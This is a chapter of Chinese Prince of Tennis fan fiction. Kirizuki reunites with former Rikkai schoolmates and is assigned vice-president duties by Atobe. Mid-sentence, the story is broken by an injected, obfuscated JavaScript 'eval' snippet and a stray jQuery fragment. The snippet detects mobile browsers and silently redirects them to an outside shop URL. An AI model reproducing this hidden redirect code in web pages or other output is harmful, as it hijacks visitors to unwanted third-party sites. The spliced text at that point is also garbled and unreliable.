周六清晨,桐月特地早早起床,等她收拾妥当,带上送给加奈的礼物,时针也才刚指向九点。
抵达约定地点时,加奈已经举着奶茶在等她了。看到桐月后,她使劲挥手:“桐月,这里这里。”少女一头橙发被风吹得乱糟糟的,浅褐色的眼睛里亮闪闪的,满是见到好友的欢喜。桐月也忍不住扬起嘴角,她快步上前,刚想开口,就被人从后面撞了一下肩膀。
“啊,对不起对不起。”肇事者慌慌张张的道歉声响起。
等会儿,这声音貌似有点耳熟。
她稳住身形回头,果然看见一头标志性海带头的少年,正局促地弯腰鞠躬,满脸手足无措。
“这不是切原学弟吗?”桐月勉强扯了扯嘴角,语气颇有点咬牙切齿,“可真够巧的。”
见到这位老熟人,桐月只感觉自己的头已经在隐隐作痛了。她至今记得柳生拜托她帮这位英语苦手补习的噩梦般的日子。单词单词记不住,基础句型一塌糊涂,她专门整理浅显讲义换着花样教,好不容易才让他擦线及格没耽误比赛。
海带头少年不知道面前温柔可亲的学姐正在腹诽他,反而兴奋地打招呼:“藤原学姐,你不是转学到冰帝了吗?怎么会在神奈川?”
“我和朋友约好了,你呢?”
“我住在这附近啊。”切原挠了挠头,“我刚在隔壁的游戏中心抽到一个限定版卡带。对了,我和你说,这个月新出的那个格斗游戏超……”
他话说到一半,手机响了。他低头看了一眼,表情立刻变了。
“糟了,部长让我十点半到网球场,但是现在已经十点了。”
切原急得原地转了一圈,然后猛地看向桐月:“学姐,你知道这附近新建的网球场怎么走吗?”
“……你不认路?”
“我平时都是跟柳学长一起走的,自己走没走过。”切原脸涨得通红。
桐月沉默,果然是路痴。
“不过不好意思,我也不知道在哪儿。”桐月摊了摊手,她也爱莫能助了。
切原闻言,表情变得空白,仿佛石化般僵在原地,仿佛戳他一下,就能碎成满地的渣子。
“那个,我知道在哪儿。”小林加奈弱弱地插了一句。
桐月眼睁睁看着石化的切原瞬间焕发出光彩,他猛然冲到加奈身前,“真的吗?太好了!学姐你人真好!”
“没事没事,”加奈被他的横冲直撞吓了一跳,连连摆手,“正好和我们要去的甜品店顺路。”
三人沿着商业街向前走去,切原一边走一边安利他刚刚提到的格斗游戏,这正好和爱玩游戏的加奈对上,两人讨论得热火朝天,桐月偶尔应两句,大部分时间都是默默听着。
走到一条岔路口的时候,切原突然停了下来,朝马路对面挥手。
“部长——!副部长——!”
顺着他的视线看去,马路对面的树荫下,站着一群背着网球包的运动少年。
为首的少年披着外套,五官精致得近乎不真实,站在树影中,微风拂过他的发梢,他微微偏头,唇角含着一抹微笑。
幸村精市。
桐月的脚步顿了顿。
国中时她曾沉迷于这位风华绝代的“神之子”的美色,曾连续半个月绕路经过立海大的网球场,就只为多看他一眼。
那时她觉得,长得这么好看,多看两眼怎么了。
结果成绩单教会她做人,分心的代价就是差点就被第二名赶超。
从那天起,她就再也没绕过那条路,连写好的情书都随手塞进书里,再也没有拿出来过。
美色误人,成绩才是硬道理。
这个结论她至今奉为圭臬。
所以此刻,面对马路对面那个曾让她心跳加速的少年,她内心平静得像是一潭死水。
她甚至有空在心里客观评价一句:气色不错,看起来比国中时状态好。
对面的少年们闻声望过来,幸村眉眼含笑,真田站在他身侧,目光第一时间锁定还在蹦蹦跳跳大力招手的切原,脸更黑了。
“太松懈了,赤也!已经超过集合时间了!”
真田的严厉的声音隔着一条马路传过来,切原脸上兴奋的表情立刻冻结了,他挪了挪身子,往桐月和加奈背后藏了藏。
这不是掩耳盗铃吗?桐月失笑,这小学弟还是这么傻的可爱。
绿灯亮起,对面一行人快步穿过马路走来。
丸井文太从她们背后把切原拎了出来,“你知道我们等了你多久了吗?”
“学长,对不起。”切原被丸井勾着脖子,口齿不清地含糊说到。
桐月看着他可怜兮兮的样子,帮忙解释了两句:“切原学弟不是故意迟到的,他只是迷路了。”
“好久不见,藤原。”最先搭话的是曾同在立海大学生会共事的柳生,他慢条斯理地抬手推了推眼镜,语气中含着几分熟稔,“麻烦你们送切原过来了。”
旁边的柳翻开随身笔记本扫了眼,淡淡开口:“结合出行路线、结伴人员信息综合推算,藤原今天来神奈川,给好友小林桑过生日的概率是99%。”
桐月嘴角抽了抽:“出门逛街而已,不用分析得这么细致吧?”
柳合上笔记本:“数据不会出错。”
幸村适时开口,紫罗兰色的眼眸中蕴着浅浅玩味:“说起来国中的时候有段时间经常看到藤原同学出现在网球场周边,我一直以为你对我们的训练很感兴趣。”
桐月心头咯噔一下,当年专程绕路偷看的黑历史居然被当事人记到现在!
她在脑海中飞快找着合适的理由。
“那会儿我正好顺路去找加奈一起回家,后来我们改了地点,就很少往那边走了。”
“啊?”还在近距离欣赏帅哥美色的加奈听到自己的名字疑惑抬头,就看到好友朝她使了个眼色。
幸村眼底闪过一丝耐人寻味的笑意,倒也没有揪着旧事调侃,反而抛出邀约:“下周立海大和冰帝会打一场友谊赛,就在冰帝举办,欢迎你们来观赛。”
友谊赛?她现在是冰帝的学生,本该给冰帝助威,可是这场比赛是幸村亲自开口邀请的,立海大这边全是她学生会时期熟识的旧友。到时候她坐在观众席,要偏向哪边?
切原斗志满满:“学姐你一定要来,看我把冰帝打得落花流水!”
谢谢你啊,你要打得落花流水的冰帝现在是我的学校,桐月满头黑线。
加奈拽了拽她的袖子,满眼期待:“听起来很不错,我和你一起。”
桐月在心里默默叹了口气:“好,到时候见。”
“那就说好了。”幸村笑意温柔,真田也朝她简单颔首示意。
少年们还要赶去训练,也没再多聊,相互道别后分开。切原走出去老远,还回头挥着手让她别忘了约定。
加奈撞了撞桐月的胳膊:“可以啊,跟网球部的这些风云人物都这么熟?”
“以前学生会共事的同僚罢了。”桐月嘴上淡定,心里还在纠结,怎么感觉又给自己找了个大麻烦呢。
·
周一午休时间,桐月准时敲响会长办公室的门。
“进来。”迹部的声音隔着厚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756577|209460||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
厚的门板传过来,听起来有些低沉。
她推门走入,迹部没坐在宽大的办公桌后,反而是靠在沙发上,茶几上放着一叠厚厚的文件。
他抬眼看向她,主动招呼了一句:“过来坐,不用站那么远。”
桐月迟疑了一下,端正地坐在他对面的单人沙发上,翻开了笔记本:“你说吧。”
迹部看着她正襟危坐的样子,心底觉得好笑,跟他单独相处这么紧张吗,这么严肃。
他从桌上抽出一份文件递给她,干脆利落地切入工作安排:“先分清你副会长核心分管板块,我一次性跟你说清。第一,全校所有文化类社团,全部归你对接,每周三固定社团例会由你主持,有活动策划直接递你初审,再送到我这里终审。”
桐月低头飞快写着,刚记完第一条,还没来得及提问,迹部已经自顾往下讲。
“第二,校内大型文艺活动的统筹安排、预算核对、场地协调由你总负责。需要调人手、申请经费不用层层上报,直接来找我沟通。”
这话一出,桐月笔尖顿住,茫然抬头。以往干事申请资源都要走三层审批,她不用走程序就直接跟他对接吗?
她刚想开口确认,迹部无视她诧异的眼神,继续补充,语气笃定。
“第三,负责对外校学生会交流对接。正好这周有一场对立海大网球部的友谊赛,你负责协调。”
三条核心职责全部交代完毕,会长室短暂陷入安静。
桐月捏紧手中的钢笔,眉头微蹙,主动开口提出心中的顾虑:“这些权限远超往届副会长,我直接跳过多层审批找你,别的学生会干部看见了,难免会有闲话。”
迹部漫不经心地摩挲着手中的文件,语气中充满傲气:“本大爷分配的工作,没有其他人质疑的余地。给你这份权限,是你有和我竞争的实力,足够担下这些事务。如果这点担子都扛不住,当初又何必站在台上和我比拼?”
桐月被他说得一时语塞,心底承认他说的没错,嘴上却不肯完全服软:“道理是这样,但难免有人会觉得区别对待。”
“实力就是最好的理由,怕有说闲话的你就用实力让他们闭嘴。”迹部淡淡丢下一句,不打算在这件事上多费口舌。
话音刚落,半开的落地窗忽然吹进一阵暖风,卷得茶几上的文件有几张飘落在地。
桐月俯身去捡,心思还停留在刚才的对话上,全然没留意身前向外突出的茶几角。
迹部反应极快,看到女孩的额头直冲桌角而来,瞬间抬手用掌心包住了坚硬尖锐的桌角。桐月的额头结结实实地撞在了他覆在桌角的手背上。
一声闷闷的碰撞声响起。
“冒冒失失。”迹部的声音从头顶响起。
桐月这才回过神来,慌忙后退拉开距离。
她垂着眼整理手里的纸张,额头上仿佛还残留着他的掌心的温度,这股温度顺着额头蔓延开来,给脸颊和耳尖都染上了一层薄红。
“谁冒失了,不过是意外而已。”她有点不服气,硬是憋出了句反驳。
脸红了?迹部盯着她泛红的面颊,脑海中不受控制地回放刚刚那下碰撞。她额头撞在他手背上的触感还清清楚楚,女孩子的皮肤这么细腻光滑的吗?他下意识地轻轻摩挲了一下手背。
然后他稍稍坐直身体,端出平时沉稳的腔调:“剩下没有别的安排了。别忘了明天的学生会例会,第一次例会,期待你的表现。”
桐月抱着文件站起身,垂头盯着地面,避开了他的视线:“我会好好准备,不会出岔子的。”
“但愿如此。”